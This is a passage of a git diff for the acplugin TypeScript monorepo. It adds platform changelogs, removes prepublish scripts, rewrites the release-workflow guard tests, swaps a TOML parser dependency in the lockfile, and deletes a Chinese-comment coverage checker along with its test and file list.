"scripts": { "build": "tsdown", - "prepublishOnly": "pnpm run build", "test": "vitest run --passWithNoTests", "typecheck": "tsc -p tsconfig.json" }, diff --git a/packages/platforms/codex/CHANGELOG.md b/packages/platforms/codex/CHANGELOG.md new file mode 100644 index 0000000..ffb8ccb --- /dev/null +++ b/packages/platforms/codex/CHANGELOG.md @@ -0,0 +1,11 @@ +# @tokenroll/acplugin-platform-codex + +## 0.0.3-beta + +### Major Changes + +- 889da32: Rewrite the Codex Platform around the Package API and make `-` the sole generated Skill identity for Commands. Validate the complete Skill namespace before Asset creation, inherit Core Runtime and validated primary Assets, and remove the obsolete generated-ID strategy option. + +### Patch Changes + +- Updated peer dependency on `@tokenroll/acplugin` to `^0.0.2-beta`. diff --git a/packages/platforms/codex/package.json b/packages/platforms/codex/package.json index 5fbce45..2b5dcd8 100644 --- a/packages/platforms/codex/package.json +++ b/packages/platforms/codex/package.json @@ -14,7 +14,6 @@ "publishConfig": { "access": "public" }, "scripts": { "build": "tsdown", - "prepublishOnly": "pnpm run build", "test": "vitest run --passWithNoTests", "typecheck": "tsc -p tsconfig.json" }, diff --git a/packages/platforms/cursor/CHANGELOG.md b/packages/platforms/cursor/CHANGELOG.md new file mode 100644 index 0000000..9af297e --- /dev/null +++ b/packages/platforms/cursor/CHANGELOG.md @@ -0,0 +1,11 @@ +# @tokenroll/acplugin-platform-cursor + +## 0.0.2-beta + +### Major Changes + +- 889da32: Rewrite the Cursor Platform around the Package API, Core-owned Document codecs, native Command/Skill/Agent Assets, add-only Hooks/MCP extension points, final candidate validation, and explicit unsupported Node Runtime compatibility. + +### Patch Changes + +- Updated peer dependency on `@tokenroll/acplugin` to `^0.0.2-beta`. diff --git a/packages/platforms/cursor/package.json b/packages/platforms/cursor/package.json index 85c2e38..5397843 100644 --- a/packages/platforms/cursor/package.json +++ b/packages/platforms/cursor/package.json @@ -14,7 +14,6 @@ "publishConfig": { "access": "public" }, "scripts": { "build": "tsdown", - "prepublishOnly": "pnpm run build", "test": "vitest run --passWithNoTests", "typecheck": "tsc -p tsconfig.json" }, diff --git a/packages/platforms/opencode/CHANGELOG.md b/packages/platforms/opencode/CHANGELOG.md new file mode 100644 index 0000000..dcbf121 --- /dev/null +++ b/packages/platforms/opencode/CHANGELOG.md @@ -0,0 +1,11 @@ +# @tokenroll/acplugin-platform-opencode + +## 0.0.2-beta + +### Major Changes + +- 889da32: Rewrite the OpenCode Platform around a first-class workspace Package, Core-owned omit-if-empty Document codecs, native workspace Component Assets, an add-only MCP field, final candidate validation, and explicit unsupported Node Runtime compatibility without Plugin-root emulation. + +### Patch Changes + +- Updated peer dependency on `@tokenroll/acplugin` to `^0.0.2-beta`. diff --git a/packages/platforms/opencode/package.json b/packages/platforms/opencode/package.json index a7a14ca..b9c901c 100644 --- a/packages/platforms/opencode/package.json +++ b/packages/platforms/opencode/package.json @@ -14,7 +14,6 @@ "publishConfig": { "access": "public" }, "scripts": { "build": "tsdown", - "prepublishOnly": "pnpm run build", "test": "vitest run --passWithNoTests", "typecheck": "tsc -p tsconfig.json" }, diff --git a/packages/platforms/pi/CHANGELOG.md b/packages/platforms/pi/CHANGELOG.md new file mode 100644 index 0000000..771f507 --- /dev/null +++ b/packages/platforms/pi/CHANGELOG.md @@ -0,0 +1,11 @@ +# @tokenroll/acplugin-platform-pi + +## 0.0.2-beta + +### Major Changes + +- 889da32: Rewrite the Pi Platform around the Package API, Core-owned npm Manifest codec, native Prompt/Skill delivery, Agent guidance Skills, add-only Hooks discovery, final candidate validation, and explicit unsupported MCP and Node Runtime compatibility. + +### Patch Changes + +- Updated peer dependency on `@tokenroll/acplugin` to `^0.0.2-beta`. diff --git a/packages/platforms/pi/package.json b/packages/platforms/pi/package.json index 29eb43e..301a03f 100644 --- a/packages/platforms/pi/package.json +++ b/packages/platforms/pi/package.json @@ -14,7 +14,6 @@ "publishConfig": { "access": "public" }, "scripts": { "build": "tsdown", - "prepublishOnly": "pnpm run build", "test": "vitest run --passWithNoTests", "typecheck": "tsc -p tsconfig.json" }, diff --git a/packages/test/test/architecture/architecture.test.ts b/packages/test/test/architecture/architecture.test.ts index ce03fd6..9f0a130 100644 --- a/packages/test/test/architecture/architecture.test.ts +++ b/packages/test/test/architecture/architecture.test.ts @@ -112,7 +112,6 @@ describe('retired runtime architecture guard', () => { 'package.json', 'pnpm-lock.yaml', 'pnpm-workspace.yaml', - 'scripts/verify-release.mjs', 'tsconfig.base.json', ...await workspaceMetadataFiles('packages'), ]; diff --git a/packages/test/test/architecture/repository.test.ts b/packages/test/test/architecture/repository.test.ts index b88e714..f934182 100644 --- a/packages/test/test/architecture/repository.test.ts +++ b/packages/test/test/architecture/repository.test.ts @@ -57,68 +57,40 @@ describe('repository release and documentation guards', () => { expect(changeset.fixed).toEqual([]); }); - it('does not expose an automated publication path', async () => { - /** PR 阶段执行静态与行为检查的 Action 内容。 */ - const check = await read('.github/workflows/check.yml'); - /** 手动消费 Changeset 并创建版本 PR 的 Action 内容。 */ - const patch = await read('.github/workflows/patch.yml'); - /** 手工构建并跨 Node 版本消费 tarball 的只读 Action 内容。 */ - const verify = await read('.github/workflows/verify.yml'); + it('keeps pull-request checks, version PRs, and stable publication separate', async () => { + /** 四条有意保持单一职责的发行工作流。 */ + const [lint, typecheck, changelog, release] = await Promise.all([ + read('.github/workflows/lint.yml'), + read('.github/workflows/typecheck.yml'), + read('.github/workflows/changelog.yml'), + read('.github/workflows/release.yml'), + ]); + /** 根命令定义本地 beta 与手工 stable 的同一发布边界。 */ + const manifest = JSON.parse(await read('package.json')) as { scripts?: Record }; - await expect(fs.access(path.join(root, '.github/workflows/publish-npm.yml'))).rejects.toThrow(); - await expect(fs.access(path.join(root, 'scripts/publish-release-cohort.mjs'))).rejects.toThrow(); - await expect(fs.access(path.join(root, 'scripts/verify-release-cohort.mjs'))).rejects.toThrow(); - expect(`${check}\n${patch}\n${verify}`).not.toMatch(/npm publish|pnpm publish|gh release|dist-tag|id-token: write|NPM_TOKEN/i); - }); + expect(lint).toContain('pull_request:'); + expect(lint).toContain('pnpm run lint'); + expect(lint).not.toMatch(/(?:pnpm|npm) publish|NPM_TOKEN|changesets\/action/u); + expect(typecheck).toContain('pull_request:'); + expect(typecheck).toContain('pnpm run typecheck'); + expect(typecheck).not.toMatch(/(?:pnpm|npm) publish|NPM_TOKEN|changesets\/action/u); + + expect(changelog).toContain('push:'); + expect(changelog).toContain('branches: [main]'); + expect(changelog).toContain('changesets/action@v1'); + expect(changelog).toContain('version: pnpm run version-packages'); + expect(changelog).not.toMatch(/(?:pnpm|npm) publish|NPM_TOKEN/u); - it('checks pull requests and creates version PRs only on manual dispatch', async () => { - /** 用于验证 PR 触发器和命令边界的 Check Action。 */ - const check = await read('.github/workflows/check.yml'); - /** 用于验证手动分支输入和版本 PR 的 Patch Action。 */ - const patch = await read('.github/workflows/patch.yml'); - /** 用于验证手动只读 tarball 构建和 Node 20 消费边界的 Verify Action。 */ - const verify = await read('.github/workflows/verify.yml'); + expect(release).toContain('workflow_dispatch:'); + expect(release).not.toMatch(/\b(?:pull_request|push):/u); + expect(release).toContain('pnpm run release'); + expect(release).toContain('NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}'); - expect(check).toContain('pull_request:'); - expect(check).not.toMatch(/\bpush:/); - expect(check).toContain('pnpm run lint'); - expect(check).toContain('pnpm run typecheck'); - expect(check).toContain('pnpm run test'); - expect(check).not.toMatch(/pnpm run (?:build|release:verify)/); - expect(check).toContain('pnpm run versions:check'); - expect(check).toContain('node-version: 22.18.0'); - expect(patch).toContain('workflow_dispatch:'); - expect(patch).toContain('target_branch:'); - expect(patch).toContain('pnpm changeset status --output'); - expect(patch).toContain('status.releases.length === 0'); - expect(patch).toContain('pnpm version-packages'); - expect(patch).toContain('pnpm run versions:check'); - expect(patch).toContain('pnpm run lint'); - expect(patch).toContain('pnpm run typecheck'); - expect(patch).toContain('pnpm run test'); - /** Version PR 必须验证消费 Changeset 后的最终 lockfile 与源码,且门禁顺序固定。 */ - const patchStepOffsets = [ - 'pnpm version-packages', - 'pnpm install --lockfile-only', - 'pnpm run versions:check', - 'pnpm run lint', - 'pnpm run typecheck', - 'pnpm run test', - ].map(step => patch.indexOf(step)); - expect(patchStepOffsets).toEqual([...patchStepOffsets].sort((left, right) => left - right)); - expect(patch).toContain('beta prerelease versions'); - expect(patch).toContain('peter-evans/create-pull-request@v8'); - expect(patch).toContain('base: ${{ inputs.target_branch }}'); - expect(patch).toContain('node-version: 22.18.0'); - expect(verify).toContain('workflow_dispatch:'); - expect(verify).not.toMatch(/\b(?:pull_request|push|schedule):/); - expect(verify).toContain('permissions:\n contents: read'); - expect(verify).toContain('node-version: 22.18.0'); - expect(verify).toContain('node-version: 20.19.0'); - expect(verify).toContain('release:verify -- --tarball-dir'); - expect(verify.match(/name: acplugin-verified-tarballs/g)).toHaveLength(2); - expect(verify).toContain('actions/upload-artifact@v7'); - expect(verify).toContain('actions/download-artifact@v8'); + expect(manifest.scripts?.['publish:beta:dry-run']).toContain('pnpm -r --filter \'@tokenroll/*\' publish'); + expect(manifest.scripts?.['publish:beta']).toContain('--tag beta'); + expect(manifest.scripts?.release).toContain('--tag latest'); + expect(manifest.scripts?.['publish:beta']).toContain('--ignore-scripts'); + expect(manifest.scripts?.release).toContain('--ignore-scripts'); }); it('separates the repository Node toolchain from published runtime support', async () => { diff --git a/packages/test/test/release/comment-coverage.test.ts b/packages/test/test/release/comment-coverage.test.ts deleted file mode 100644 index 70f6cef..0000000 --- a/packages/test/test/release/comment-coverage.test.ts +++ /dev/null @@ -1,81 +0,0 @@ -import { spawn } from 'node:child_process'; -import { promises as fs } from 'node:fs'; -import os from 'node:os'; -import path from 'node:path'; -import { fileURLToPath } from 'node:url'; -import { afterEach, describe, expect, it } from 'vitest'; - -/** 当前 monorepo 根目录和真实注释检查入口。 */ -const repositoryRoot = fileURLToPath(new URL('../../../..', import.meta.url)); -/** 由临时 fixture 子进程执行的注释检查脚本。 */ -const checker = path.join(repositoryRoot, 'scripts/check-comments.mjs'); -/** 每个测试结束后需要删除的临时仓库根。 */ -const temporaryRoots: string[] = []; - -/** - * 运行注释覆盖脚本并捕获退出状态与诊断。 - * - * @param root 临时 monorepo 根目录。 - * @returns 子进程退出码和标准错误。 - */ -async function runChecker(root: string): Promise<{ code: number | null; stderr: string }> { - return new Promise((resolve, reject) => { - /** 使用真实 Node 入口检查临时 workspace 布局。 */ - const child = spawn(process.execPath, [checker, '--root', root], { stdio: ['ignore', 'ignore', 'pipe'] }); - /** 当前检查失败产生的完整诊断文本。 */ - let stderr = ''; - child.stderr.setEncoding('utf8'); - child.stderr.on('data', (chunk: string) => { - stderr += chunk; - }); - child.on('error', reject); - child.on('close', code => resolve({ code, stderr })); - }); -} - -/** - * 创建只遗漏一个新增生产文件的最小 monorepo fixture。 - * - * @param packagePath 待验证 package 相对于 packages 的层级。 - * @returns fixture 根目录和未覆盖生产文件路径。 - */ -async function coverageFixture(packagePath: string): Promise<{ root: string; missing: string }> { - /** 当前布局测试独占的临时 monorepo 根。 */ - const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-comment-coverage-')); - temporaryRoots.push(root); - /** 当前顶层、Platform 或 Extension package 根。 */ - const packageRoot = path.join(root, 'packages', packagePath); - await fs.mkdir(path.join(packageRoot, 'src'), { recursive: true }); - await fs.mkdir(path.join(root, 'scripts'), { recursive: true }); - await fs.writeFile(path.join(packageRoot, 'package.json'), '{"name":"fixture","private":true}\n'); - await fs.writeFile(path.join(packageRoot, 'src/covered.ts'), '/** 已覆盖声明。 */\nexport const covered = true;\n'); - await fs.writeFile(path.join(packageRoot, 'src/new.ts'), '/** 新增声明。 */\nexport const added = true;\n'); - /** coverage 清单故意只包含既有生产文件。 */ - const covered = `packages/${packagePath}/src/covered.ts`; - await fs.writeFile(path.join(root, 'scripts/comment-coverage.json'), `${JSON.stringify({ - schemaVersion: 1, - enforcedFiles: [covered], - }, null, 2)}\n`); - return { root, missing: `packages/${packagePath}/src/new.ts` }; -} - -afterEach(async () => { - await Promise.all(temporaryRoots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); -}); - -describe('comment coverage workspace discovery', () => { - it.each([ - ['top-level package', 'tool'], - ['Platform package', 'platforms/community'], - ['Extension package', 'extensions/community'], - ])('rejects an uncovered production file in a %s', async (_label, packagePath) => { - /** 当前 workspace 深度对应的未覆盖 fixture。 */ - const fixture = await coverageFixture(packagePath); - /** 真实检查器执行后的结构失败。 */ - const result = await runChecker(fixture.root); - - expect(result.code).toBe(1); - expect(result.stderr).toContain('以下生产文件未加入中文注释覆盖'); - expect(result.stderr).toContain(fixture.missing); - }); -}); diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index c3f0180..48b07a4 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -50,9 +50,6 @@ importers: '@typescript/native': specifier: 'catalog:' version: typescript@7.0.2 - es-module-lexer: - specifier: ^2.3.1 - version: 2.3.1 eslint: specifier: ^10.8.0 version: 10.8.0(jiti@2.7.0) @@ -123,9 +120,6 @@ importers: packages/core: dependencies: - '@iarna/toml': - specifier: ^2.2.5 - version: 2.2.5 chokidar: specifier: ^5.0.0 version: 5.0.0 @@ -135,6 +129,9 @@ importers: semver: specifier: ^7.8.5 version: 7.8.5 + smol-toml: + specifier: ^1.8.0 + version: 1.8.0 spdx-expression-parse: specifier: ^5.0.0 version: 5.0.0 @@ -982,9 +979,6 @@ packages: resolution: {integrity: sha512-bV0Tgo9K4hfPCek+aMAn81RppFKv2ySDQeMoSZuvTASywNTnVJCArCZE2FWqpvIatKu7VMRLWlR1EazvVhDyhQ==} engines: {node: '>=18.18'} - '@iarna/toml@2.2.5': - resolution: {integrity: sha512-trnsAYxU3xnS1gPHPyU961coFyLkh4gAD/0zQ5mymY4yOZ+CYvsPqUbOFSw0aDM4y0tV7tiFxL/1XfXPNC6IPg==} - '@iconify-json/simple-icons@1.2.93': resolution: {integrity: sha512-/XhANjfGYOuqvSR3TmUnkQkINvQ4GVjVuukvymRbxtVFBvIq/yiXJqCDycKcQPT401OYT9H2vIY6ihAlz1QIAw==} @@ -3030,6 +3024,10 @@ packages: resolution: {integrity: sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==} engines: {node: '>=8'} + smol-toml@1.8.0: + resolution: {integrity: sha512-kCZr2V3ch9i00x8zXRhjUNVcjG9ijES5dDudkXvUVCT5QlJNQWElSJdZqyPemffHoLNUYwOcou0Fy+ojN0uHSQ==} + engines: {node: '>= 18'} + source-map-js@1.2.1: resolution: {integrity: sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==} engines: {node: '>=0.10.0'} @@ -3969,8 +3967,6 @@ snapshots: '@humanwhocodes/retry@0.4.3': {} - '@iarna/toml@2.2.5': {} - '@iconify-json/simple-icons@1.2.93': dependencies: '@iconify/types': 2.0.0 @@ -5929,6 +5925,8 @@ snapshots: slash@3.0.0: {} + smol-toml@1.8.0: {} + source-map-js@1.2.1: {} space-separated-tokens@2.0.2: {} diff --git a/scripts/check-comments.mjs b/scripts/check-comments.mjs deleted file mode 100644 index 8712dad..0000000 --- a/scripts/check-comments.mjs +++ /dev/null @@ -1,282 +0,0 @@ -import { existsSync, readFileSync, readdirSync } from 'node:fs'; -import path from 'node:path'; -import process from 'node:process'; -import ts from 'typescript'; - -/** 中文注释至少需要包含一个中日韩统一表意文字。 */ -const CHINESE_PATTERN = /[\u3400-\u9fff]/u; - -/** 注释覆盖配置文件相对于仓库根目录的位置。 */ -const COVERAGE_FILE = 'scripts/comment-coverage.json'; - -/** - * 使用 UTF-16 code unit 比较路径,避免目录枚举结果受当前 locale 影响。 - * - * @param left 左侧路径。 - * @param right 右侧路径。 - * @returns 与 Array.sort 约定一致的比较结果。 - */ -function compareCodeUnits(left, right) { - return left < right ? -1 : left > right ? 1 : 0; -} - -/** 需要前置中文说明的声明节点类型。 */ -const DECLARATION_KINDS = new Set([ - ts.SyntaxKind.ClassDeclaration, - ts.SyntaxKind.Constructor, - ts.SyntaxKind.EnumDeclaration, - ts.SyntaxKind.FunctionDeclaration, - ts.SyntaxKind.GetAccessor, - ts.SyntaxKind.InterfaceDeclaration, - ts.SyntaxKind.MethodDeclaration, - ts.SyntaxKind.MethodSignature, - ts.SyntaxKind.PropertyDeclaration, - ts.SyntaxKind.SetAccessor, - ts.SyntaxKind.TypeAliasDeclaration, -]); - -/** - * 读取声明节点前的全部注释文本。 - * - * @param source 当前文件对应的 TypeScript 语法树。 - * @param node 需要检查前置注释的声明节点。 - * @returns 与声明直接相邻的前置注释文本。 - */ -function leadingComment(source, node) { - /** 当前源码的完整文本,用于按字符区间提取注释。 */ - const text = source.getFullText(); - /** TypeScript 解析器识别到的前置注释字符区间。 */ - const ranges = ts.getLeadingCommentRanges(text, node.getFullStart()) ?? []; - return ranges.map(range => text.slice(range.pos, range.end)).join('\n'); -} - -/** - * 读取声明绑定之前可见的中文说明,并兼容 `catch` 关键字后的绑定注释。 - * - * @param source 当前文件对应的 TypeScript 语法树。 - * @param node 需要检查说明的声明节点。 - * @returns 声明前或 catch 异常绑定前的注释文本。 - */ -function declarationComment(source, node) { - /** 普通声明直接使用与节点相邻的前置注释。 */ - const leading = leadingComment(source, node); - if (!ts.isCatchClause(node) || node.variableDeclaration === undefined) - return leading; - /** catch 关键字与异常变量之间允许放置的绑定专属注释。 */ - const bindingPrefix = source.getFullText().slice(node.getStart(source), node.variableDeclaration.getStart(source)); - return `${leading}\n${bindingPrefix}`; -} - -/** - * 返回便于诊断的声明名称,匿名声明使用语法类型代替。 - * - * @param node 待描述的声明节点。 - * @returns 稳定且便于定位的声明名称。 - */ -function declarationName(node) { - /** 声明节点可能携带的标识符名称。 */ - const name = 'name' in node ? node.name : undefined; - if (name && ts.isIdentifier(name)) - return name.text; - if (ts.isConstructorDeclaration(node)) - return 'constructor'; - return ts.SyntaxKind[node.kind]; -} - -/** - * 判断节点是否为需要中文解释的普通变量语句。 - * - * @param node 待检查的变量语句。 - * @returns 任何函数体或模块中的 VariableStatement 都返回 true。 - */ -function isVariableStatement(node) { - return ts.isVariableStatement(node); -} - -/** - * 判断对象属性是否使用箭头函数或函数表达式定义可调用方法。 - * - * @param node 待检查的对象属性节点。 - * @returns 属性值是 ArrowFunction 或 FunctionExpression 时返回 true。 - */ -function isObjectFunctionProperty(node) { - return ts.isPropertyAssignment(node) - && (ts.isArrowFunction(node.initializer) || ts.isFunctionExpression(node.initializer)); -} - -/** - * 收集单个文件中缺少中文前置说明的声明。 - * - * @param file 相对于仓库根目录的源码路径。 - * @returns 可直接输出到终端的缺失项列表。 - */ -function missingComments(file, displayFile = file) { - /** 文件的原始源码内容。 */ - const text = readFileSync(file, 'utf8'); - /** 用于定位声明和注释区间的 TypeScript 语法树。 */ - const source = ts.createSourceFile(file, text, ts.ScriptTarget.Latest, true); - /** 当前文件累计发现的注释缺失项。 */ - const missing = []; - - /** - * 递归访问语法树,并检查受规则约束的声明节点。 - * - * @param node 当前访问的语法树节点。 - */ - function visit(node) { - /** 标记节点是否属于需要中文前置注释的声明范围。 */ - const required = DECLARATION_KINDS.has(node.kind) - || isVariableStatement(node) - || isObjectFunctionProperty(node); - if (required && !CHINESE_PATTERN.test(declarationComment(source, node))) { - /** TypeScript 使用零基行列,需要转换为面向用户的一基行号。 */ - const line = source.getLineAndCharacterOfPosition(node.getStart(source)).line + 1; - missing.push(`${displayFile}:${line} ${declarationName(node)}`); - } - ts.forEachChild(node, visit); - } - - visit(source); - return missing; -} - -/** - * 返回一个目录的直属子目录;缺失目录按空集合处理。 - * - * @param directory 待枚举目录。 - * @returns 按 code unit 排序的直属子目录绝对路径。 - */ -function childDirectories(directory) { - try { - return readdirSync(directory, { withFileTypes: true }) - .filter(entry => entry.isDirectory()) - .map(entry => path.join(directory, entry.name)) - .sort(compareCodeUnits); - } catch (error) { - if (error !== null && typeof error === 'object' && 'code' in error && error.code === 'ENOENT') - return []; - throw error; - } -} - -/** - * 枚举当前 monorepo 支持的三种 package 深度。 - * - * @param root 待检查仓库根目录。 - * @returns 实际包含 package.json 的 package 根目录。 - */ -function workspacePackageRoots(root) { - /** 顶层、Platform 与 Extension 三类 package 候选。 */ - const candidates = [ - ...childDirectories(path.join(root, 'packages')), - ...childDirectories(path.join(root, 'packages/platforms')), - ...childDirectories(path.join(root, 'packages/extensions')), - ]; - return candidates - .filter(directory => existsSync(path.join(directory, 'package.json'))) - .sort(compareCodeUnits); -} - -/** - * 递归收集一个 package 直属 src 树中的 TypeScript 生产文件。 - * - * @param directory 当前递归目录。 - * @returns 当前子树下按 code unit 排序的 .ts 文件绝对路径。 - */ -function sourceFiles(directory) { - if (!existsSync(directory)) - return []; - /** 当前 src 子树累计发现的生产文件。 */ - const files = []; - for (const entry of readdirSync(directory, { withFileTypes: true }).sort((left, right) => compareCodeUnits(left.name, right.name))) { - /** 当前目录项的绝对路径。 */ - const candidate = path.join(directory, entry.name); - if (entry.isDirectory()) - files.push(...sourceFiles(candidate)); - else if (entry.isFile() && entry.name.endsWith('.ts')) - files.push(candidate); - } - return files.sort(compareCodeUnits); -} - -/** - * 把绝对路径转换为覆盖清单使用的 POSIX 仓库相对路径。 - * - * @param root 仓库根目录。 - * @param file 仓库内绝对文件路径。 - * @returns 不依赖宿主分隔符的清单路径。 - */ -function relativePath(root, file) { - return path.relative(root, file).split(path.sep).join('/'); -} - -/** - * 解析测试夹具可覆盖的仓库根和 coverage 文件位置。 - * - * @param args Node 入口之后的命令行参数。 - * @returns 绝对仓库根和 coverage 文件路径。 - */ -function parseOptions(args) { - /** 默认检查当前工作目录中的真实仓库。 */ - let root = process.cwd(); - /** 可选 coverage 路径先保留文本,最终相对 root 解析。 */ - let coverageFile = COVERAGE_FILE; - for (let index = 0; index < args.length; index += 2) { - /** 当前成对参数的选项名和值。 */ - const [flag, value] = args.slice(index, index + 2); - if (value === undefined) - throw new Error('Comment coverage options require a value.'); - if (flag === '--root') - root = path.resolve(value); - else if (flag === '--coverage') - coverageFile = value; - else - throw new Error(`Unknown comment coverage option: ${flag}`); - } - return { root, coverageFile: path.resolve(root, coverageFile) }; -} - -/** - * 执行已覆盖文件的中文注释检查,并以非零退出码阻止回退。 - */ -function main() { - /** 真实仓库或测试夹具提供的检查边界。 */ - const options = parseOptions(process.argv.slice(2)); - /** 注释覆盖配置,后续阶段通过扩展文件列表逐步收紧。 */ - const coverage = JSON.parse(readFileSync(options.coverageFile, 'utf8')); - if (!Array.isArray(coverage.enforcedFiles) || coverage.enforcedFiles.some(file => typeof file !== 'string')) - throw new Error('Comment coverage enforcedFiles must be an array of paths.'); - /** 去重后的显式覆盖路径集合。 */ - const enforced = new Set(coverage.enforcedFiles); - /** 三种 package 深度下全部直属 src TypeScript 生产文件。 */ - const productionFiles = workspacePackageRoots(options.root) - .flatMap(packageRoot => sourceFiles(path.join(packageRoot, 'src'))) - .map(file => relativePath(options.root, file)) - .sort(compareCodeUnits); - /** 新增但尚未进入覆盖清单的生产文件。 */ - const uncovered = productionFiles.filter(file => !enforced.has(file)); - /** 清单中已经不存在的路径,避免删除/重命名后留下虚假覆盖。 */ - const stale = coverage.enforcedFiles.filter(file => !existsSync(path.join(options.root, file))); - /** 重复清单项会让覆盖数量失真,应与漏项同样失败。 */ - const duplicated = coverage.enforcedFiles.filter((file, index) => coverage.enforcedFiles.indexOf(file) !== index); - if (uncovered.length > 0 || stale.length > 0 || duplicated.length > 0) { - if (uncovered.length > 0) - process.stderr.write(`以下生产文件未加入中文注释覆盖:\n${uncovered.map(item => `- ${item}`).join('\n')}\n`); - if (stale.length > 0) - process.stderr.write(`以下中文注释覆盖路径不存在:\n${stale.map(item => `- ${item}`).join('\n')}\n`); - if (duplicated.length > 0) - process.stderr.write(`以下中文注释覆盖路径重复:\n${[...new Set(duplicated)].map(item => `- ${item}`).join('\n')}\n`); - process.exitCode = 1; - return; - } - /** 所有已纳入强制覆盖范围的缺失项。 */ - const missing = coverage.enforcedFiles.flatMap(file => missingComments(path.join(options.root, file), file)); - if (missing.length > 0) { - process.stderr.write(`以下声明缺少中文前置注释:\n${missing.map(item => `- ${item}`).join('\n')}\n`); - process.exitCode = 1; - return; - } - process.stdout.write(`中文注释守卫已覆盖 ${coverage.enforcedFiles.length} 个文件。\n`); -} - -main(); diff --git a/scripts/comment-coverage.json b/scripts/comment-coverage.json deleted file mode 100644 index 0c68f42..0000000 --- a/scripts/comment-coverage.json +++ /dev/null @@ -1,264 +0,0 @@ -{ - "schemaVersion": 1, - "enforcedFiles": [ - "packages/acplugin/src/author/project.ts", - "packages/acplugin/src/cli.ts", - "packages/acplugin/src/cli/commands/build.ts", - "packages/acplugin/src/cli/commands/dev.ts", - "packages/acplugin/src/cli/commands/init.ts", - "packages/acplugin/src/cli/commands/inspect.ts", - "packages/acplugin/src/cli/commands/migrate.ts", - "packages/acplugin/src/cli/commands/pipeline.ts", - "packages/acplugin/src/cli/commands/validate.ts", - "packages/acplugin/src/cli/options.ts", - "packages/acplugin/src/cli/output.ts", - "packages/acplugin/src/cli/program.ts", - "packages/acplugin/src/ecosystem/framework-version.ts", - "packages/acplugin/src/ecosystem/versions.ts", - "packages/acplugin/src/index.ts", - "packages/acplugin/src/migration/ids.ts", - "packages/acplugin/src/migration/index.ts", - "packages/acplugin/src/migration/legacy/github.ts", - "packages/acplugin/src/migration/legacy/scanner/claude.ts", - "packages/acplugin/src/migration/legacy/scanner/plugin.ts", - "packages/acplugin/src/migration/legacy/types.ts", - "packages/acplugin/src/migration/legacy/utils/frontmatter.ts", - "packages/acplugin/src/migration/legacy/utils/fs.ts", - "packages/acplugin/src/migration/metadata.ts", - "packages/acplugin/src/migration/types.ts", - "packages/acplugin/src/migration/validation.ts", - "packages/acplugin/src/migration/writers/components.ts", - "packages/acplugin/src/migration/writers/hooks.ts", - "packages/acplugin/src/migration/writers/mcp.ts", - "packages/acplugin/src/migration/writers/project.ts", - "packages/acplugin/src/migration/writers/shared.ts", - "packages/acplugin/src/scaffolding/init.ts", - "packages/acplugin/src/scaffolding/prompts.ts", - "packages/acplugin/src/scaffolding/templates.ts", - "packages/acplugin/src/sdk.ts", - "packages/acplugin/test/sdk-boundary.test.ts", - "packages/acplugin/tsdown.config.ts", - "packages/core/src/api/author.ts", - "packages/core/src/api/definitions.ts", - "packages/core/src/api/integration.ts", - "packages/core/src/compiler/compiler-service.ts", - "packages/core/src/compiler/engine-loader.ts", - "packages/core/src/compiler/job-normalizer.ts", - "packages/core/src/compiler/license-pipeline.ts", - "packages/core/src/compiler/managed/auditor.ts", - "packages/core/src/compiler/managed/boundary.ts", - "packages/core/src/compiler/managed/options.ts", - "packages/core/src/compiler/physical-path-auditor.ts", - "packages/core/src/compiler/portable-node/auditor.ts", - "packages/core/src/compiler/portable-node/options.ts", - "packages/core/src/compiler/portable-node/policy.ts", - "packages/core/src/config/resolver.ts", - "packages/core/src/contracts/common.ts", - "packages/core/src/contracts/compiler.ts", - "packages/core/src/contracts/components.ts", - "packages/core/src/contracts/config.ts", - "packages/core/src/contracts/index.ts", - "packages/core/src/contracts/integrations.ts", - "packages/core/src/contracts/packages.ts", - "packages/core/src/contracts/project.ts", - "packages/core/src/contracts/reports.ts", - "packages/core/src/contracts/services.ts", - "packages/core/src/index.ts", - "packages/core/src/lifecycle/build-environment.ts", - "packages/core/src/lifecycle/build-session.ts", - "packages/core/src/lifecycle/dev-session.ts", - "packages/core/src/lifecycle/integration-sessions.ts", - "packages/core/src/lifecycle/platform-pipeline.ts", - "packages/core/src/output/lock.ts", - "packages/core/src/output/recovery.ts", - "packages/core/src/output/transaction-files.ts", - "packages/core/src/output/transaction.ts", - "packages/core/src/package/candidate-materializer.ts", - "packages/core/src/package/compatibility.ts", - "packages/core/src/package/distributions.ts", - "packages/core/src/package/documents.ts", - "packages/core/src/package/json-snapshot.ts", - "packages/core/src/package/registry.ts", - "packages/core/src/package/report-builder.ts", - "packages/core/src/project/project.ts", - "packages/core/src/resources/canonical/agents.ts", - "packages/core/src/resources/canonical/commands.ts", - "packages/core/src/resources/canonical/provider.ts", - "packages/core/src/resources/canonical/shared.ts", - "packages/core/src/resources/canonical/skills.ts", - "packages/core/src/resources/extensions.ts", - "packages/core/src/resources/project-graph.ts", - "packages/core/src/resources/public.ts", - "packages/core/src/resources/registry.ts", - "packages/core/src/resources/runtime/paths.ts", - "packages/core/src/resources/runtime/provider.ts", - "packages/core/src/security/data-boundary.ts", - "packages/core/src/security/json-snapshot.ts", - "packages/core/src/security/path-policy.ts", - "packages/core/src/security/report-safety.ts", - "packages/core/src/serialization/documents.ts", - "packages/core/src/serialization/index.ts", - "packages/core/src/serialization/json.ts", - "packages/core/src/services/assets.ts", - "packages/core/src/services/diagnostics.ts", - "packages/core/src/services/execution.ts", - "packages/core/src/services/extension-state.ts", - "packages/core/src/services/session-scope.ts", - "packages/core/src/compiler/module-host.ts", - "packages/core/src/services/sources.ts", - "packages/core/src/services/watch.ts", - "packages/core/src/services/work-directories.ts", - "packages/core/test/contracts/integration-definitions.test.ts", - "packages/core/test/services/asset-registry.test.ts", - "packages/core/test/services/source-registry.test.ts", - "packages/core/tsdown.config.ts", - "packages/docs/.vitepress/config.mts", - "packages/docs/.vitepress/theme/index.ts", - "packages/extensions/hooks/src/build.ts", - "packages/extensions/hooks/src/constants.ts", - "packages/extensions/hooks/src/contributors/antigravity.ts", - 